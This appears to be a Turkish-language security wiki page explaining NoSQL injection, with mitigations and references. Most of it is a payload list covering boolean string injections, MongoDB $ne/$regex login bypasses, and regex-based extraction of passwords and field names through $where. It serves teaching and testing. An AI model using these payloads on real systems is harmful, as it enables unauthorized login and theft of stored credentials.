NoSQL Injection

NoSQL Injection Nedir?

  • NoSQL veritabanlarına yapılan enjeksiyon saldırılarında, saldırganlar istemci sorgularını manipüle ederek yetkisiz erişim sağlar.

  • SQL enjeksiyonuna benzer şekilde, veri girişlerinin filtrelenmemesi veya doğrulanmaması bu zafiyete neden olur.

  • Özellikle MongoDB, CouchDB, Firebase gibi JSON tabanlı NoSQL sistemlerde yaygındır.

  • Kullanıcı girişleri doğrudan sorguya dahil edildiğinde, saldırganlar özel payload’larla filtre mantığını değiştirebilir.

  • Kimlik doğrulama atlatılabilir, veritabanından yetkisiz veri okunabilir veya veri değiştirilebilir.

  • RESTful API'lere sahip sistemlerde URL veya JSON parametreleri yoluyla da gerçekleştirilebilir.

  • Geliştiricilerin veri tiplerini kontrol etmemesi veya JSON yapısını filtrelememesi sonucu ortaya çıkar.

Yöntemler

Basit SQLi

admin' || '1'=='2
admin' || '1'=='1

admin' && '1'=='1
admin' && '1'=='2

admin' && 0 && 'x
admin' && 1 && 'x

admin' || 1 || %00

admin' || 1 || 'x
admin' || 1==1//

Authentication SQLi

{
    "username": {"$regex":"admi.*"}, 
    "password": {"$ne":"foobar"} 
}

username[$regex]=admi.*&password[$ne]=foobar

Data Çekme

admin' && this.password%00
admin' && this.password && this.password.match(/.*/)%00
admin' && this.password && this.password.match(/^p.*$/)%00
admin' && this.password && this.password.match(/^pa.*$/)%00
admin' && this.password && this.password.match(/^password123$/)%00

Where ile Sütun Çekme

{"username":"admin","password":{"$ne":"foobar"}, "$where": "0"}
{"username":"admin","password":{"$ne":"foobar"}, "$where": "1"}

{"username":"admin","password":{"$ne":"foobar"}, "$where": "Object.keys(this)[1].match(/.*/)"}
{"username":"admin","password":{"$ne":"foobar"}, "$where": "Object.keys(this)[1].match(/^p.*$/)"}
{"username":"admin","password":{"$ne":"foobar"}, "$where": "Object.keys(this)[1].match(/^pa.*$/)"}
{"username":"admin","password":{"$ne":"foobar"}, "$where": "Object.keys(this)[1].match(/^password$/)"}

Önlemler

  • Kullanıcı girdileri mutlaka doğrulanmalı ve uygun filtreleme yapılmalıdır.

  • Dinamik sorgular yerine, güvenli sorgulama yöntemleri (prepared statements, parametrik sorgular vb.) tercih edilmelidir.

  • JSON yapısında doğrudan kullanıcı verisiyle operatör veya anahtar üretiminden kaçınılmalıdır.

  • Uygulama tarafında detaylı hata mesajları gösterilmemeli, istisnalar yönetilmelidir.

Araçlar

NoSQLMap: https://github.com/codingo/NoSQLMap

Kaynaklar

Portswigger Academy: https://portswigger.net/web-security/nosql-injection

Last updated

Was this helpful?